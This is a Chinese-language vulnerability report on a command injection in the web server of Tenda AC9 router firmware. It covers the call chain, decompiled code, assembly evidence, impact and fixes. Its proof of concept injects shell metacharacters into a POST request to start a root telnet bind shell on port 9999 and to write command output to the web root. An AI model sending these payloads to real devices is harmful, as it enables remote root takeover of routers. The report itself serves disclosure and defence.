Tenda AC9 V15.03.05.19(6318)_CN — FUN_000384c8 命令注入漏洞分析一. 概述Tenda AC9 V15.03.05.19(6318)_CN 固件的 httpd 二进制中存在一处 OS 命令注入漏洞CWE-78。攻击者可通过构造 HTTP POST 请求在 CGI 参数中注入 shell 元字符以 root 权限远程执行任意系统命令。二. 固件信息- 设备Tenda AC9 双频千兆无线路由器- 固件版本V15.03.05.19(6318)_CN- 下载地址https://www.tenda.com.cn/download/detail-1110.html- 分析目标/bin/httpdARM 32-bitstrippeduClibc 动态链接- 固件解包binwalk 提取 squashfs 根文件系统三. 漏洞定位过程通过 FuzzingBrain v2 自动化固件漏洞发现管线1. Ghidra 11.3.1 反编译 httpd提取 1639 个函数的 C 伪代码2. LLM Phase 2 识别 HTTP CGI 命令注入攻击面3. LLM Phase 3 三视角交叉分析确认 FUN_000384c8 存在命令注入4. 反向追踪调用链FUN_000386ccHTTP 参数解析→ FUN_000384c8漏洞点5. ARM 反汇编验证确认 snprintf → doSystemCmd 调用链四. 漏洞详情4.1 调用链HTTP POST 请求 → FUN_000386ccCGI 分发器解析参数→ FUN_000384c8漏洞函数拼接命令并执行→ snprintf() 将用户参数格式化为命令字符串→ doSystemCmd() 执行内部调用 system()4.2 漏洞代码Ghidra 反编译cundefined4 FUN_000384c8(undefined4 param_1, undefined4 param_2, undefined4 param_3){int iVar1;char acStack_210 [516]; // 516 字节栈缓冲区// 打印参数调试日志printf(format_string, param_2, param_3, param_1);// 弱认证检查可绕过iVar1 FUN_0003839c(param_1, param_2);if (iVar1 0) {return 0xffffffff; // 检查失败返回}// ⚠️ 漏洞点用户输入直接拼接到命令snprintf(acStack_210, 0x200,command_template, // 命令模板如 cmd %s %s %sparam_2, // ← HTTP 参数攻击者完全控制param_3, // ← HTTP 参数攻击者完全控制param_1); // ← HTTP 参数攻击者完全控制// ⚠️ 直接执行拼接后的命令doSystemCmd(acStack_210); // → system(cmd)return 0;}4.3 ARM 汇编关键证据asm; snprintf 调用格式化命令字符串0x38540: bl 0xf000 ; snprintfplt; ... 中间仅有寄存器移动操作无任何过滤函数调用 ...; doSystemCmd 调用执行系统命令0x38560: bl 0xf474 ; doSystemCmdpltPLT 符号确认snprintfplt: 0x0000f000doSystemCmdplt: 0x0000f474systemplt: 0x0000ed244.4 无输入过滤的证据snprintf 调用与 doSystemCmd 调用之间的 ARM 指令序列中不存在任何 bl 指令——证明没有调用字符串清理、过滤或验证函数。5. 漏洞利用5.1 攻击场景攻击者向路由器的 HTTP 管理界面80 端口发送 POST 请求至目标 CGI 端点在参数中注入 shell 元字符。5.2 概念验证httpPOST /goform/目标端点 HTTP/1.1Host: 192.168.0.1Content-Type: application/x-www-form-urlencodedparam1;telnetd -p 9999 -l /bin/sh;param2;id /www/out.txt;param3normalsnprintf 拼接后生成的命令字符串bash命令模板前缀 ;telnetd -p 9999 -l /bin/sh; ;id /www/out.txt; normalShell 解析为三条独立命令1. 原始命令可能失败2. telnetd -p 9999 -l /bin/sh → 在 9999 端口开启后门 shell3. id /www/out.txt → 将执行结果写入 Web 可访问路径确认命令执行5.3 影响- **权限**httpd 以 root 运行攻击者获得 root shell- **持久化**可通过命令注入写入启动脚本- **横向移动**获取路由器 shell 后可攻击内网其他设备- **CVSS 3.1 评分**9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)6. 修复建议1 避免使用字符串拼接构造系统命令改用参数化 API2如无法避免对 ;, |, , $(), , , ||, \n 等 shell 元字符实施白名单过滤3将 httpd 进程权限从 root 降至受限用户4对所有 CGI 端点实施强制认证检查